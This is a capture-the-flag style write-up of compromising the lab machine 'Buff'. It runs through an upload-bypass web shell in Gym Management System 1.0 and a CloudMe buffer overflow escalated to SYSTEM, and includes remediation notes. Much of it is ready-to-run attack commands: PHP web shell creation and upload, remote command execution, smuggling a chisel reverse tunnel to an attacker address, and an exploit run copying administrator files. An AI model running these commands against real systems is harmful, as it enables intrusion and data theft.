Buff
Summary
I identified a Gym Management System 1.0 web application exposed on port 8080 and matched it to a known public exploit (Exploit-DB 48506): the application's file-upload endpoint trusted only my own HTTP Content-Type header, allowing a PHP web shell to be uploaded disguised as an image. That gave unauthenticated remote code execution as the low-privilege local account buff\shaun and immediate access to the user flag. From inside I enumerated active network connections and discovered CloudMe 1.11.2 — a desktop sync utility registered and running under the Windows SYSTEM account — bound exclusively to the local loopback interface on TCP 8888.
Because all outbound download channels were firewall-blocked, the chisel reverse-tunneling binary was smuggled onto the host through the same upload bypass that had delivered the web shell, and a reverse tunnel was opened to expose the CloudMe port to me. The public CloudMe ROP buffer-overflow exploit (CVE-2018-6892 / EDB-48840), adapted to invoke a custom batch script, ran arbitrary commands as SYSTEM, copied the Administrator's flag into the web-accessible upload directory, and completed full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -Pn -p 7680,8080 $TARGETcurl -s http://$TARGET:8080/ | grep -i 'projectworlds\|gym management'Exact commands 2
searchsploit 'Gym Management System 1.0'searchsploit -m php/webapps/48506.pyFixReplace Gym Management System 1.0 and enforce real server-side file upload validationCritical
Exact commands 2
printf '\x89PNG\r\n\x1a\n<?php echo shell_exec($_GET["telepathy"]); ?>' > cxbuff.php.pngcurl -sS -F 'pupload=upload' -F 'file=@cxbuff.php.png;filename=cxbuff.php.png;type=image/png' "http://$TARGET:8080/upload.php"Exact commands 2
curl -m 8 -sS --get --data-urlencode 'telepathy=whoami' "http://$TARGET:8080/upload/cxbuff.php"curl -m 8 -sS --get --data-urlencode 'telepathy=type C:\Users\shaun\Desktop\user.txt' "http://$TARGET:8080/upload/cxbuff.php" | tail -c +9 | tr -d '\r'Exact commands 3
curl -m 8 -sS --get --data-urlencode 'telepathy=netstat -ano | findstr :8888' "http://$TARGET:8080/upload/cxbuff.php"curl -m 8 -sS --get --data-urlencode 'telepathy=tasklist /fi "PID eq 4900"' "http://$TARGET:8080/upload/cxbuff.php"curl -m 8 -sS --get --data-urlencode 'telepathy=reg query "HKEY_USERS\S-1-5-18\Software\CloudMe\Sync"' "http://$TARGET:8080/upload/cxbuff.php"FixRemove CloudMe from this server and never run desktop sync software as SYSTEMCritical
Exact commands 3
chisel server -p 8001 --reverseprintf '\x89PNG\r\n' | cat - /opt/tools/chisel-x64.exe > chisel.exe.png && curl -sS -F 'pupload=upload' -F 'file=@chisel.exe.png;filename=chisel.exe.png;type=image/png' "http://$TARGET:8080/upload.php"curl -m 30 -sS --get --data-urlencode "telepathy=start /b C:\xampp\htdocs\gym\upload\chisel.exe client $ATTACKER_IP:8001 R:18888:127.0.0.1:8888" "http://$TARGET:8080/upload/cxbuff.php"Exact commands 4
searchsploit -m windows/remote/48840.pyprintf '@echo off\r\ntype C:\\Users\\Administrator\\Desktop\\root.txt > C:\\xampp\\htdocs\\gym\\upload\\root.txt\r\n' > /tmp/r.bat && curl -sS -F 'pupload=upload' -F 'file=@/tmp/r.bat;filename=r.bat.png;type=image/png' "http://$TARGET:8080/upload.php?id=r"python2 48840.pycurl -sS "http://$TARGET:8080/upload/root.txt"Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 7680/tcp | pando-pub? |
| 8080/tcp | http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6) |